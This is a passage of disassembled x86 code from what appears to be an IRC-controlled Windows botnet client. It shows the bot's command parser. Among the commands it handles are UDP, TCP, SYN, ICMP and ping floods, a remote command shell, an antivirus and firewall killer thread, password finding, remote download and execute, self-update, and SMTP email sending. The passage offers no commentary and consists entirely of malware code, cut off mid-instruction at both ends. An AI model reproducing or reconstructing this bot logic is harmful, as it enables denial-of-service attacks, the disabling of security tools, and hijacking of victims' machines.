; "s" pop ecx xor edx, edx repe cmpsb jz loc_40D571 push 3 mov edi, eax mov esi, offset aId ; "id" pop ecx xor edx, edx repe cmpsb jz loc_40D539 push 2 mov edi, eax mov esi, offset aI_0 ; "i" pop ecx xor edx, edx repe cmpsb jz loc_40D539 push 7 mov edi, eax mov esi, offset aReboot ; "reboot" pop ecx xor edx, edx repe cmpsb jnz short loc_409BB4 call sub_4069D5 test eax, eax mov eax, offset aMainRebootingS ; "[MAIN]: Rebooting system." jnz short loc_409B85 mov eax, offset aMainFailedToRe ; "[MAIN]: Failed to reboot system." loc_409B85: ; CODE XREF: sub_4089DC+11A2j push eax lea eax, [ebp+var_2F0] push eax call sub_414415 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF add esp, 1Ch jmp loc_40D9C2 ; --------------------------------------------------------------------------- loc_409BB4: ; CODE XREF: sub_4089DC+1194j push 8 mov edi, eax mov esi, offset aThreads ; "threads" pop ecx xor edx, edx repe cmpsb jz loc_40D44A push 2 mov edi, eax mov esi, offset aT ; "t" pop ecx xor edx, edx repe cmpsb jz loc_40D44A push 8 mov edi, eax mov esi, offset aAliases ; "aliases" pop ecx xor edx, edx repe cmpsb jz loc_40D427 push 3 mov edi, eax mov esi, offset aAl ; "al" pop ecx xor edx, edx repe cmpsb jz loc_40D427 push 4 mov edi, eax mov esi, offset aLog_0 ; "log" pop ecx xor edx, edx repe cmpsb jz loc_40D334 push 3 mov edi, eax mov esi, offset aLg ; "lg" pop ecx xor edx, edx repe cmpsb jz loc_40D334 push 9 mov edi, eax mov esi, offset aClearlog ; "clearlog" pop ecx xor edx, edx repe cmpsb jz loc_40D318 push 4 mov edi, eax mov esi, offset aClg ; "clg" pop ecx xor edx, edx repe cmpsb jz loc_40D318 push 8 mov edi, eax mov esi, offset aNetinfo ; "netinfo" pop ecx xor edx, edx repe cmpsb jz loc_40D2DD push 3 mov edi, eax mov esi, offset aNi ; "ni" pop ecx xor edx, edx repe cmpsb jz loc_40D2DD push 8 mov edi, eax mov esi, offset aSysinfo ; "sysinfo" pop ecx xor edx, edx repe cmpsb jz loc_40D2B1 push 3 mov edi, eax mov esi, offset aSi ; "si" pop ecx xor edx, edx repe cmpsb jz loc_40D2B1 push 8 mov edi, eax mov esi, offset aDestroy ; "destroy" pop ecx xor edx, edx repe cmpsb jz loc_40D234 push 0Bh mov edi, eax mov esi, offset aErradicate ; "erradicate" pop ecx xor edx, edx repe cmpsb jz loc_40D234 push 6 mov edi, eax mov esi, offset aProcs ; "procs" pop ecx xor edx, edx repe cmpsb jz loc_40D10E push 3 mov edi, eax mov esi, offset aPs ; "ps" pop ecx xor edx, edx repe cmpsb jz loc_40D10E push 7 mov edi, eax mov esi, offset aUptime ; "uptime" pop ecx xor edx, edx repe cmpsb jz loc_40D087 push 3 mov edi, eax mov esi, offset aUp ; "up" pop ecx xor edx, edx repe cmpsb jz loc_40D087 push 0Ah mov edi, eax mov esi, offset aDriveinfo ; "driveinfo" pop ecx xor edx, edx repe cmpsb jz loc_40D06A push 4 mov edi, eax mov esi, offset aDrv ; "drv" pop ecx xor edx, edx repe cmpsb jz loc_40D06A push 9 mov edi, eax mov esi, offset aTestdlls ; "testdlls" pop ecx xor edx, edx repe cmpsb jz loc_40D051 push 4 mov edi, eax mov esi, offset aDll ; "dll" pop ecx xor edx, edx repe cmpsb jz loc_40D051 push 8 mov edi, eax mov esi, offset aOpencmd ; "opencmd" pop ecx xor edx, edx repe cmpsb jz loc_40D012 push 5 mov edi, eax mov esi, offset aOcmd ; "ocmd" pop ecx xor edx, edx repe cmpsb jz loc_40D012 push 8 mov edi, eax mov esi, offset aCmdstop ; "cmdstop" pop ecx xor edx, edx repe cmpsb jnz short loc_409DBC push [ebp+ebx+var_A4] push 8 push offset aRemoteShell ; "Remote shell" push offset aCmd_0 ; "[CMD]" jmp loc_40D67E ; --------------------------------------------------------------------------- loc_409DBC: ; CODE XREF: sub_4089DC+13C6j push 4 mov edi, eax mov esi, offset aWho ; "who" pop ecx xor edx, edx repe cmpsb jnz loc_40A0FB cmp [ebp+var_C], edx jnz short loc_409DEF push edx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF add esp, 14h loc_409DEF: ; CODE XREF: sub_4089DC+13F7j mov edi, [ebp+arg_18] xor esi, esi loc_409DF4: ; CODE XREF: sub_4089DC+145Fj cmp byte ptr [edi], 0 lea eax, [edi+1] jnz short loc_409E01 mov eax, offset aEmpty ; "<Empty>" loc_409E01: ; CODE XREF: sub_4089DC+141Ej push eax push esi lea eax, [ebp+var_2F0] push offset aD_S ; "%d. %s" push eax call sub_414415 push 1 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_409DF4 push offset aMainLoginListC ; "[MAIN]: Login list complete." call sub_401EFF mov eax, [ebp+var_18] pop ecx loc_409E4B: ; CODE XREF: sub_4089DC+237Ej ; sub_4089DC+5000j mov ecx, [ebp+ebx+var_98] test ecx, ecx mov [ebp+arg_0], ecx jz loc_408C5A push 8 mov edi, eax mov esi, offset aAdvscan ; "advscan" pop ecx xor edx, edx repe cmpsb jz loc_40E029 push 4 mov edi, eax mov esi, offset aAsc ; "asc" pop ecx xor edx, edx repe cmpsb jz loc_40E029 push 9 mov edi, eax mov esi, offset aUdpflood ; "udpflood" pop ecx xor edx, edx repe cmpsb jz loc_40DEE0 push 4 mov edi, eax mov esi, offset aUdp ; "udp" pop ecx xor edx, edx repe cmpsb jz loc_40DEE0 push 2 mov edi, eax mov esi, offset aU ; "u" pop ecx xor edx, edx repe cmpsb jz loc_40DEE0 push 0Ah mov edi, eax mov esi, offset aPingflood ; "pingflood" pop ecx xor edx, edx repe cmpsb jz loc_40DDA6 push 5 mov edi, eax mov esi, offset aPing_0 ; "ping" pop ecx xor edx, edx repe cmpsb jz loc_40DDA6 push 2 mov edi, eax mov esi, offset aP ; "p" pop ecx xor edx, edx repe cmpsb jz loc_40DDA6 push 9 mov edi, eax mov esi, offset aTcpflood ; "tcpflood" pop ecx xor edx, edx repe cmpsb jz loc_40DBE5 push 4 mov edi, eax mov esi, offset aTcp ; "tcp" pop ecx xor edx, edx repe cmpsb jz loc_40DBE5 push 6 mov edi, eax mov esi, offset aEmail ; "email" pop ecx xor edx, edx repe cmpsb jnz loc_40D9EF mov eax, [ebp+ebx+var_A4] lea edx, [ebp+var_8CC] sub edx, eax loc_409F48: ; CODE XREF: sub_4089DC+1574j mov cl, [eax] mov [edx+eax], cl inc eax test cl, cl jnz short loc_409F48 push [ebp+ebx+var_A0] call sub_4147A2 mov esi, eax mov eax, [ebp+ebx+var_9C] lea edx, [ebp+var_2070] pop ecx sub edx, eax loc_409F70: ; CODE XREF: sub_4089DC+159Cj mov cl, [eax] mov [edx+eax], cl inc eax test cl, cl jnz short loc_409F70 mov eax, [ebp+arg_0] lea edx, [ebp+var_16C0] sub edx, eax loc_409F85: ; CODE XREF: sub_4089DC+15B1j mov cl, [eax] mov [edx+eax], cl inc eax test cl, cl jnz short loc_409F85 push offset asc_420AE8 ; " " push offset a_ ; "_" push [ebp+ebx+var_94] call sub_406650 add esp, 0Ch lea edx, [ebp+var_1D70] loc_409FAE: ; CODE XREF: sub_4089DC+15DAj mov cl, [eax] inc eax mov [edx], cl inc edx test cl, cl jnz short loc_409FAE lea eax, [ebp+var_2400] push eax push 101h call dword_435818 ; WSAStartup lea eax, [ebp+var_8CC] push eax call dword_435868 ; gethostbyname push 6 push 1 push 2 mov ebx, eax call dword_435808 ; socket mov edi, eax mov [ebp+var_D8], 2 mov eax, [ebx+0Ch] mov eax, [eax] mov eax, [eax] push esi mov [ebp+var_D4], eax call dword_435954 ; htons mov [ebp+var_D6], ax lea eax, [ebp+var_1D70] push eax lea eax, [ebp+var_2070] push eax lea eax, [ebp+var_1D70] push eax lea eax, [ebp+var_16C0] push eax lea eax, [ebp+var_2070] push eax lea eax, [ebp+var_2800] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_414415 add esp, 1Ch push 10h lea eax, [ebp+var_D8] push eax push edi call dword_4357C0 ; connect xor ebx, ebx push ebx mov esi, 100h push esi lea eax, [ebp+var_1C6C] push eax push edi call dword_43577C ; recv lea eax, [ebp+var_1C6C] lea ecx, [eax+1] loc_40A072: ; CODE XREF: sub_4089DC+169Bj mov dl, [eax] inc eax test dl, dl jnz short loc_40A072 push ebx sub eax, ecx push eax lea eax, [ebp+var_2800] push eax push edi call dword_43589C ; send push ebx push esi lea eax, [ebp+var_1C6C] push eax push edi call dword_43577C ; recv push edi call dword_435914 ; closesocket call dword_435920 ; WSACleanup lea eax, [ebp+var_16C0] push eax lea eax, [ebp+var_2F0] push offset aEmailMessageSe ; "[EMAIL]: Message sent to %s." push eax call sub_414415 add esp, 0Ch cmp [ebp+var_C], ebx jnz short loc_40A0E4 push ebx loc_40A0C9: ; CODE XREF: sub_4089DC+3953j ; sub_4089DC+39FCj push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] loc_40A0DC: ; CODE XREF: sub_4089DC+313Dj call sub_4056BF add esp, 14h loc_40A0E4: ; CODE XREF: sub_4089DC+16EAj ; sub_4089DC+3125j ... mov esi, [ebp+arg_24] loc_40A0E7: ; CODE XREF: sub_4089DC+3991j ; sub_4089DC+39B4j ... lea eax, [ebp+var_2F0] push eax call sub_401EFF pop ecx mov eax, esi jmp loc_408C5D ; --------------------------------------------------------------------------- loc_40A0FB: ; CODE XREF: sub_4089DC+13EEj push 8 mov edi, eax mov esi, offset aGetclip ; "getclip" pop ecx xor edx, edx repe cmpsb jz loc_40CFCE push 3 mov edi, eax mov esi, offset aGc ; "gc" pop ecx xor edx, edx repe cmpsb jz loc_40CFCE push 9 mov edi, eax mov esi, offset aFlusharp ; "flusharp" pop ecx xor edx, edx repe cmpsb jz loc_40CFA3 push 5 mov edi, eax mov esi, offset aFarp ; "farp" pop ecx xor edx, edx repe cmpsb jz loc_40CFA3 push 9 mov edi, eax mov esi, offset aFlushdns ; "flushdns" pop ecx xor edx, edx repe cmpsb jz loc_40CF73 push 5 mov edi, eax mov esi, offset aFdns ; "fdns" pop ecx xor edx, edx repe cmpsb jz loc_40CF73 push 0Ah mov edi, eax mov esi, offset aCurrentip ; "currentip" pop ecx xor edx, edx repe cmpsb jz loc_40CF39 push 4 mov edi, eax mov esi, offset aCip ; "cip" pop ecx xor edx, edx repe cmpsb jz loc_40CF39 push 0Dh mov edi, eax mov esi, offset aRloginserver ; "rloginserver" pop ecx xor edx, edx repe cmpsb jz loc_40CE00 push 7 mov edi, eax mov esi, offset aRlogin ; "rlogin" pop ecx xor edx, edx repe cmpsb jz loc_40CE00 push 0Bh mov edi, eax mov esi, offset aHttpserver ; "httpserver" pop ecx xor edx, edx repe cmpsb jz loc_40CC7F push 5 mov edi, eax mov esi, offset aHttp ; "http" pop ecx xor edx, edx repe cmpsb jz loc_40CC7F push 0Bh mov edi, eax mov esi, offset aTftpserver ; "tftpserver" pop ecx xor edx, edx repe cmpsb jz loc_40CB28 push 5 mov edi, eax mov esi, offset aTftp ; "tftp" pop ecx xor edx, edx repe cmpsb jz loc_40CB28 push 9 mov edi, eax mov esi, offset aFindpass ; "findpass" pop ecx xor edx, edx repe cmpsb jz loc_40CA80 push 3 mov edi, eax mov esi, offset aFp ; "fp" pop ecx xor edx, edx repe cmpsb jz loc_40CA80 push 8 mov edi, eax mov esi, offset aScanall ; "scanall" pop ecx xor edx, edx repe cmpsb jz loc_40C74B push 3 mov edi, eax mov esi, offset aSa ; "sa" pop ecx xor edx, edx repe cmpsb jz loc_40C74B mov ecx, [ebp+ebx+var_A4] test ecx, ecx mov [ebp+var_8], ecx jz loc_408C5A push 5 mov edi, eax mov esi, offset aNick_0 ; "nick" pop ecx xor edx, edx repe cmpsb jz loc_40C726 push 2 mov edi, eax mov esi, offset aN ; "n" pop ecx xor edx, edx repe cmpsb jz loc_40C726 push 5 mov edi, eax mov esi, offset aJoin ; "join" pop ecx xor edx, edx repe cmpsb jz loc_40C702 push 2 mov edi, eax mov esi, offset aJ ; "j" pop ecx xor edx, edx repe cmpsb jz loc_40C702 push 5 mov edi, eax mov esi, offset aPart_0 ; "part" pop ecx xor edx, edx repe cmpsb jz loc_40C6E8 push 3 mov edi, eax mov esi, offset aPt ; "pt" pop ecx xor edx, edx repe cmpsb jz loc_40C6E8 push 4 mov edi, eax mov esi, offset aRaw ; "raw" pop ecx xor edx, edx repe cmpsb jz loc_40C6B1 push 2 mov edi, eax mov esi, offset aR ; "r" pop ecx xor edx, edx repe cmpsb jz loc_40C6B1 push 0Bh mov edi, eax mov esi, offset aKillthread ; "killthread" pop ecx xor edx, edx repe cmpsb jz loc_40C5F7 push 2 mov edi, eax mov esi, offset aK ; "k" pop ecx xor edx, edx repe cmpsb jz loc_40C5F7 push 7 mov edi, eax mov esi, offset aC_quit ; "c_quit" pop ecx xor edx, edx repe cmpsb jz loc_40C549 push 4 mov edi, eax mov esi, offset aC_q ; "c_q" pop ecx xor edx, edx repe cmpsb jz loc_40C549 push 0Ah mov edi, eax mov esi, offset aC_rndnick ; "c_rndnick" pop ecx xor edx, edx repe cmpsb jz loc_40C4F8 push 5 mov edi, eax mov esi, offset aC_rn ; "c_rn" pop ecx xor edx, edx repe cmpsb jz loc_40C4F8 push 7 mov edi, eax mov esi, offset aPrefix ; "prefix" pop ecx xor edx, edx repe cmpsb jz loc_40C4DF push 3 mov edi, eax mov esi, offset aPr ; "pr" pop ecx xor edx, edx repe cmpsb jz loc_40C4DF push 5 mov edi, eax mov esi, offset aOpen ; "open" pop ecx xor edx, edx repe cmpsb jz loc_40C4A9 push 2 mov edi, eax mov esi, offset aO ; "o" pop ecx xor edx, edx repe cmpsb jz loc_40C4A9 push 7 mov edi, eax mov esi, offset aServer ; "server" pop ecx xor edx, edx repe cmpsb jz loc_40C480 push 3 mov edi, eax mov esi, offset aSe ; "se" pop ecx xor edx, edx repe cmpsb jz loc_40C480 push 4 mov edi, eax mov esi, offset aDns ; "dns" pop ecx xor edx, edx repe cmpsb jz loc_40C410 push 3 mov edi, eax mov esi, offset aDn ; "dn" pop ecx xor edx, edx repe cmpsb jz loc_40C410 push 9 mov edi, eax mov esi, offset aKillproc ; "killproc" pop ecx xor edx, edx repe cmpsb jz loc_40C3DD push 3 mov edi, eax mov esi, offset aKp ; "kp" pop ecx xor edx, edx repe cmpsb jz loc_40C3DD push 0Ch mov edi, eax mov esi, offset aKilldelproc ; "killdelproc" pop ecx xor edx, edx repe cmpsb jz loc_40C395 push 4 mov edi, eax mov esi, offset aKdp ; "kdp" pop ecx xor edx, edx repe cmpsb jz loc_40C395 push 5 mov edi, eax mov esi, offset aKill ; "kill" pop ecx xor edx, edx repe cmpsb jz loc_40C334 push 3 mov edi, eax mov esi, offset aKi ; "ki" pop ecx xor edx, edx repe cmpsb jz loc_40C334 push 7 mov edi, eax mov esi, offset aDelete ; "delete" pop ecx xor edx, edx repe cmpsb jz loc_40C2E2 push 4 mov edi, eax mov esi, offset aDel ; "del" pop ecx xor edx, edx repe cmpsb jz loc_40C2E2 push 5 mov edi, eax mov esi, offset aList_0 ; "list" pop ecx xor edx, edx repe cmpsb jz loc_40C2C2 push 3 mov edi, eax mov esi, offset aLi ; "li" pop ecx xor edx, edx repe cmpsb jz loc_40C2C2 push 8 mov edi, eax mov esi, offset aMirccmd ; "mirccmd" pop ecx xor edx, edx repe cmpsb jz loc_40C249 push 5 mov edi, eax mov esi, offset aMirc ; "mirc" pop ecx xor edx, edx repe cmpsb jz loc_40C249 push 4 mov edi, eax mov esi, offset aCmd ; "cmd" pop ecx xor edx, edx repe cmpsb jz loc_40C1ED push 3 mov edi, eax mov esi, offset aCm ; "cm" pop ecx xor edx, edx repe cmpsb jz loc_40C1ED push 9 mov edi, eax mov esi, offset aReadfile ; "readfile" pop ecx xor edx, edx repe cmpsb jz loc_40C159 push 3 mov edi, eax mov esi, offset aRf ; "rf" pop ecx xor edx, edx repe cmpsb jz loc_40C159 push 4 mov edi, eax mov esi, offset aNet ; "net" pop ecx xor edx, edx repe cmpsb jnz loc_40A816 xor eax, eax cmp dword_435968, eax jz short loc_40A59D cmp dword_435990, eax jz short loc_40A59D push offset aNetFailedToLoa ; "[NET]: Failed to load advapi32.dll or n"... jmp loc_40A80B ; --------------------------------------------------------------------------- loc_40A59D: ; CODE XREF: sub_4089DC+1BADj ; sub_4089DC+1BB5j cmp [ebp+var_14], eax jz loc_40C28D mov eax, [ebp+ebx+var_A0] and [ebp+arg_0], 0 test eax, eax mov [ebp+var_10], eax jz short loc_40A5C6 push eax push [ebp+var_14] call sub_414EE0 pop ecx pop ecx mov [ebp+arg_0], eax loc_40A5C6: ; CODE XREF: sub_4089DC+1BDAj mov edx, [ebp+var_8] push 6 mov edi, edx mov esi, offset aStart ; "start" pop ecx xor eax, eax repe cmpsb jnz short loc_40A634 cmp [ebp+var_10], eax jz short loc_40A602 push [ebp+arg_0] push 3 loc_40A5E3: ; CODE XREF: sub_4089DC+1C6Dj ; sub_4089DC+1C84j ... call sub_40776C push eax lea eax, [ebp+var_2F0] push offset aS_2 ; "%s" push eax call sub_414415 add esp, 14h jmp loc_40C28D ; --------------------------------------------------------------------------- loc_40A602: ; CODE XREF: sub_4089DC+1C00j push [ebp+var_4] push [ebp+var_A0] push [ebp+arg_4] call sub_406EA7 add esp, 0Ch test eax, eax lea eax, [ebp+var_2F0] jz short loc_40A62A push offset aNetServiceList ; "[NET]: Service list completed." jmp loc_40C285 ; --------------------------------------------------------------------------- loc_40A62A: ; CODE XREF: sub_4089DC+1C42j push offset aNetServiceLi_0 ; "[NET]: Service list failed." jmp loc_40C285 ; --------------------------------------------------------------------------- loc_40A634: ; CODE XREF: sub_4089DC+1BFBj push 5 mov edi, edx mov esi, offset aStop ; "stop" pop ecx xor eax, eax repe cmpsb jnz short loc_40A64B push [ebp+arg_0] push 4 jmp short loc_40A5E3 ; --------------------------------------------------------------------------- loc_40A64B: ; CODE XREF: sub_4089DC+1C66j push 6 mov edi, edx mov esi, offset aPause ; "pause" pop ecx xor eax, eax repe cmpsb jnz short loc_40A662 push [ebp+arg_0] push 5 jmp short loc_40A5E3 ; --------------------------------------------------------------------------- loc_40A662: ; CODE XREF: sub_4089DC+1C7Dj push 9 mov edi, edx mov esi, offset aContinue ; "continue" pop ecx xor eax, eax repe cmpsb jnz short loc_40A67C push [ebp+arg_0] push 6 jmp loc_40A5E3 ; --------------------------------------------------------------------------- loc_40A67C: ; CODE XREF: sub_4089DC+1C94j push 7 mov edi, edx mov esi, offset aDelete ; "delete" pop ecx xor eax, eax repe cmpsb jnz short loc_40A696 push [ebp+arg_0] push 1 jmp loc_40A5E3 ; --------------------------------------------------------------------------- loc_40A696: ; CODE XREF: sub_4089DC+1CAEj push 6 mov edi, edx mov esi, offset aShare ; "share" pop ecx xor eax, eax repe cmpsb jnz short loc_40A71A cmp [ebp+var_10], eax jz short loc_40A6E6 cmp [ebp+var_458], al jz short loc_40A6BB push eax push [ebp+var_10] push 1 jmp short loc_40A6C7 ; --------------------------------------------------------------------------- loc_40A6BB: ; CODE XREF: sub_4089DC+1CD5j push [ebp+ebx+var_9C] push [ebp+var_10] push 0 loc_40A6C7: ; CODE XREF: sub_4089DC+1CDDj call sub_4077E4 push eax lea eax, [ebp+var_2F0] push offset aS_2 ; "%s" push eax call sub_414415 add esp, 18h jmp loc_40C28D ; --------------------------------------------------------------------------- loc_40A6E6: ; CODE XREF: sub_4089DC+1CCDj push 0 push [ebp+var_4] push [ebp+var_A0] push [ebp+arg_4] call sub_4078A2 add esp, 10h test eax, eax lea eax, [ebp+var_2F0] jz short loc_40A710 push offset aNetShareListCo ; "[NET]: Share list completed." jmp loc_40C285 ; --------------------------------------------------------------------------- loc_40A710: ; CODE XREF: sub_4089DC+1D28j push offset aNetShareListFa ; "[NET]: Share list failed." jmp loc_40C285 ; --------------------------------------------------------------------------- loc_40A71A: ; CODE XREF: sub_4089DC+1CC8j push 5 mov edi, edx mov esi, offset aUser ; "user" pop ecx xor eax, eax repe cmpsb jnz loc_40A7BC cmp [ebp+var_10], eax jz short loc_40A788 cmp [ebp+var_458], al push [ebp+var_4] push [ebp+var_A0] push [ebp+arg_4] jz short loc_40A74F push eax push [ebp+var_10] push 1 jmp short loc_40A769 ; --------------------------------------------------------------------------- loc_40A74F: ; CODE XREF: sub_4089DC+1D69j mov ebx, [ebp+ebx+var_9C] test ebx, ebx jz short loc_40A762 push ebx push [ebp+var_10] push 0 jmp short loc_40A769 ; --------------------------------------------------------------------------- loc_40A762: ; CODE XREF: sub_4089DC+1D7Cj push 0 push [ebp+var_10] push 2 loc_40A769: ; CODE XREF: sub_4089DC+1D71j ; sub_4089DC+1D84j call sub_4079C1 push eax lea eax, [ebp+var_2F0] push offset aS_2 ; "%s" push eax call sub_414415 add esp, 24h jmp loc_40C28D ; --------------------------------------------------------------------------- loc_40A788: ; CODE XREF: sub_4089DC+1D55j push 0 push [ebp+var_4] push [ebp+var_A0] push [ebp+arg_4] call sub_407A8B add esp, 10h test eax, eax lea eax, [ebp+var_2F0] jz short loc_40A7B2 push offset aNetUserListCom ; "[NET]: User list completed." jmp loc_40C285 ; --------------------------------------------------------------------------- loc_40A7B2: ; CODE XREF: sub_4089DC+1DCAj push offset aNetUserListFai ; "[NET]: User list failed." jmp loc_40C285 ; --------------------------------------------------------------------------- loc_40A7BC: ; CODE XREF: sub_4089DC+1D4Cj push 5 mov edi, edx mov esi, offset aSend ; "send" pop ecx xor eax, eax repe cmpsb jnz short loc_40A806 cmp [ebp+var_10], eax jz short loc_40A7FF push [ebp+var_4] push [ebp+var_A0] push [ebp+arg_4] push [ebp+arg_0] call sub_4076B0 push eax lea eax, [ebp+var_2F0] push offset aS_2 ; "%s" push eax call sub_414415 add esp, 1Ch jmp loc_40C28D ; --------------------------------------------------------------------------- loc_40A7FF: ; CODE XREF: sub_4089DC+1DF3j push offset aNetNoMessageSp ; "[NET]: No message specified." jmp short loc_40A80B ; --------------------------------------------------------------------------- loc_40A806: ; CODE XREF: sub_4089DC+1DEEj push offset aNetCommandUnkn ; "[NET]: Command unknown." loc_40A80B: ; CODE XREF: sub_4089DC+1BBCj ; sub_4089DC+1E28j lea eax, [ebp+var_2F0] jmp loc_40C285 ; --------------------------------------------------------------------------- loc_40A816: ; CODE XREF: sub_4089DC+1B9Fj push 8 mov edi, eax mov esi, offset aGethost ; "gethost" pop ecx xor edx, edx repe cmpsb jz loc_40C074 push 3 mov edi, eax mov esi, offset aGh ; "gh" pop ecx xor edx, edx repe cmpsb jz loc_40C074 push 0Bh mov edi, eax mov esi, offset aAvfwkiller ; "avfwkiller" pop ecx xor edx, edx repe cmpsb jnz loc_40A944 mov edi, [ebp+var_8] push 6 mov esi, offset aStart ; "start" pop ecx xor eax, eax repe cmpsb jnz loc_40A917 lea eax, [ebp+var_2F0] push offset aAvfwAvFwBotKil ; "[AVFW]: AV/FW/BOT Killer active." push eax call sub_414415 push [ebp+ebx+var_A0] xor edi, edi push 1 push offset aKillerThread ; "Killer Thread" push offset aAvfw ; "[AVFW]" push 1 push edi push [ebp+var_A0] push [ebp+arg_4] loc_40A899: ; DATA XREF: .data:0042CDA4o ; .data:0042CDE8o ... call sub_4124D0 push edi lea eax, [ebp+var_2F0] push 1 push eax call sub_41229A add esp, 34h mov esi, eax lea eax, [ebp+var_1C] push eax push edi push edi push offset sub_4085DF push edi push edi call ds:dword_42000C ; CreateThread imul esi, 234h cmp eax, edi mov dword_4366B4[esi], eax jnz short loc_40A8F0 call ds:dword_420008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2F0] push offset aAvfwFailedToSt ; "[AVFW]: Failed to start AV/FW killer th"... push eax call sub_414415 add esp, 0Ch loc_40A8F0: ; CODE XREF: sub_4089DC+1EF7j lea eax, [ebp+var_2F0] push eax call sub_401EFF cmp [ebp+var_C], edi pop ecx jnz loc_408C5A push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax jmp loc_40D12E ; --------------------------------------------------------------------------- loc_40A917: ; CODE XREF: sub_4089DC+1E85j mov edi, [ebp+var_8] push 5 mov esi, offset aStop ; "stop" pop ecx xor eax, eax repe cmpsb jnz loc_408C5A push [ebp+ebx+var_A0] push 1 push offset aKillerThread ; "Killer Thread" push offset aAvfw ; "[AVFW]" jmp loc_40D67E ; --------------------------------------------------------------------------- loc_40A944: ; CODE XREF: sub_4089DC+1E70j mov ecx, [ebp+ebx+var_A0] test ecx, ecx mov [ebp+var_10], ecx jz loc_408C5A push 9 mov edi, eax mov esi, offset aAddalias ; "addalias" pop ecx xor edx, edx repe cmpsb jz loc_40C001 push 3 mov edi, eax mov esi, offset aAa ; "aa" pop ecx xor edx, edx repe cmpsb jz loc_40C001 push 8 mov edi, eax mov esi, offset aPrivmsg_0 ; "privmsg" pop ecx xor edx, edx repe cmpsb jz loc_40BF96 push 3 mov edi, eax mov esi, offset aPm_0 ; "pm" pop ecx xor edx, edx repe cmpsb jz loc_40BF96 push 7 mov edi, eax mov esi, offset aAction ; "action" pop ecx xor edx, edx repe cmpsb jz loc_40BF13 push 2 mov edi, eax mov esi, offset aA_1 ; "a" pop ecx xor edx, edx repe cmpsb jz loc_40BF13 push 6 mov edi, eax mov esi, offset aCycle ; "cycle" pop ecx xor edx, edx repe cmpsb jz loc_40BEAD push 3 mov edi, eax mov esi, offset aCy ; "cy" pop ecx xor edx, edx repe cmpsb jz loc_40BEAD push 5 mov edi, eax mov esi, offset aMode ; "mode" pop ecx xor edx, edx repe cmpsb jz loc_40BE73 push 2 mov edi, eax mov esi, offset aM ; "m" pop ecx xor edx, edx repe cmpsb jz loc_40BE73 push 6 mov edi, eax mov esi, offset aC_raw ; "c_raw" pop ecx xor edx, edx repe cmpsb jz loc_40BE04 push 4 mov edi, eax mov esi, offset aC_r ; "c_r" pop ecx xor edx, edx repe cmpsb jz loc_40BE04 push 7 mov edi, eax mov esi, offset aC_mode ; "c_mode" pop ecx xor edx, edx repe cmpsb jz loc_40BD7E push 4 mov edi, eax mov esi, offset aC_m ; "c_m" pop ecx xor edx, edx repe cmpsb jz loc_40BD7E push 7 mov edi, eax mov esi, offset aC_nick ; "c_nick" pop ecx xor edx, edx repe cmpsb jz loc_40BD0D push 4 mov edi, eax mov esi, offset aC_n ; "c_n" pop ecx xor edx, edx repe cmpsb jz loc_40BD0D push 7 mov edi, eax mov esi, offset aC_join ; "c_join" pop ecx xor edx, edx repe cmpsb jz loc_40BCE5 push 4 mov edi, eax mov esi, offset aC_j ; "c_j" pop ecx xor edx, edx repe cmpsb jz loc_40BCE5 push 7 mov edi, eax mov esi, offset aC_part ; "c_part" pop ecx xor edx, edx repe cmpsb jz loc_40BC7F push 4 mov edi, eax mov esi, offset aC_p ; "c_p" pop ecx xor edx, edx repe cmpsb jz loc_40BC7F push 7 mov edi, eax mov esi, offset aRepeat ; "repeat" pop ecx xor edx, edx repe cmpsb jz loc_40BBBB push 3 mov edi, eax mov esi, offset aRp ; "rp" pop ecx xor edx, edx repe cmpsb jz loc_40BBBB push 6 mov edi, eax mov esi, offset aDelay ; "delay" pop ecx xor edx, edx repe cmpsb jz loc_40BB1E push 3 mov edi, eax mov esi, offset aDe ; "de" pop ecx xor edx, edx repe cmpsb jz loc_40BB1E push 7 mov edi, eax mov esi, offset aUpdate ; "update" pop ecx xor edx, edx repe cmpsb jz loc_40B95A push 3 mov edi, eax mov esi, offset aUp ; "up" pop ecx xor edx, edx repe cmpsb jz loc_40B95A push 8 mov edi, eax mov esi, offset aExecute ; "execute" pop ecx xor edx, edx repe cmpsb jz loc_40B8B7 push 2 mov edi, eax mov esi, offset aE ; "e" pop ecx xor edx, edx repe cmpsb jz loc_40B8B7 push 9 mov edi, eax mov esi, offset aFindfile ; "findfile" pop ecx xor edx, edx repe cmpsb jz loc_40B7A7 push 3 mov edi, eax mov esi, offset aFf ; "ff" pop ecx xor edx, edx repe cmpsb jz loc_40B7A7 push 7 mov edi, eax mov esi, offset aRename ; "rename" pop ecx xor edx, edx repe cmpsb jz loc_40B74F push 3 mov edi, eax mov esi, offset aMv ; "mv" pop ecx xor edx, edx repe cmpsb jz loc_40B74F push 0Ah mov edi, eax mov esi, offset aIcmpflood ; "icmpflood" pop ecx xor edx, edx repe cmpsb jz loc_40B61D push 5 mov edi, eax mov esi, offset aIcmp ; "icmp" pop ecx xor edx, edx repe cmpsb jz loc_40B61D mov ecx, [ebp+ebx+var_9C] test ecx, ecx mov [ebp+arg_0], ecx jz loc_408C5A push 6 mov edi, eax mov esi, offset aClone_0 ; "clone" pop ecx xor edx, edx repe cmpsb jz loc_40B52F push 2 mov edi, eax mov esi, offset aC ; "c" pop ecx xor edx, edx repe cmpsb jz loc_40B52F push 9 mov edi, eax mov esi, offset aDdos_syn ; "ddos.syn" pop ecx xor edx, edx repe cmpsb jz loc_40B40C push 9 mov edi, eax mov esi, offset aDdos_ack ; "ddos.ack" pop ecx xor edx, edx repe cmpsb jz loc_40B40C push 0Ch mov edi, eax mov esi, offset aDdos_random ; "ddos.random" pop ecx xor edx, edx repe cmpsb jz loc_40B40C push 9 mov edi, eax mov esi, offset aSynflood ; "synflood" pop ecx xor edx, edx repe cmpsb jz loc_40B31F push 4 mov edi, eax mov esi, offset aSyn ; "syn" pop ecx xor edx, edx repe cmpsb jz loc_40B31F push 9 mov edi, eax mov esi, offset aDownload ; "download" pop ecx xor edx, edx repe cmpsb 